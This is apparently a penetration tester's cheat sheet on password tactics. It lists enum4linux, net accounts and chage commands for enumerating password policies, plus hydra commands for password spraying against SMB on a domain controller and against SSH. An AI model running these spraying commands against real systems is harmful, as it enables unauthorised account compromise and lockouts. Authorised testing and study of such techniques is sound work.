TTP – Password Tactics

Enum Password Policies:

- **Windows:**
  - Unauthenticated:
    - Enum4linux -P {tgt_DC_IP}
  - Authenticated:
    - Enum4linux -P -u {domain\username} -p {password} {tgt_DC_IP}
    - Domain Joined: net accounts /domain
    - Stand-Alone / DMZ: net accounts
- **Linux:**
  - Unauthenticated:
    - Enum4linux -R 3000-3050
  - Authenticated:
    - chage -l hal

Password Spraying:

- **Windows:**
  - hydra -L {/path/to/username.txt} -p {pswd_to_spary} -t 5 -o {/path/name_of_attempt_file.txt} {ip_of_dc} smb
- **Linux (SSH):**
  - hydra -L {/path/to/username.txt} -p {pswd_to_spary} -t 5 -o {/path/name_of_attempt_file.txt} {tgt_ip } ssh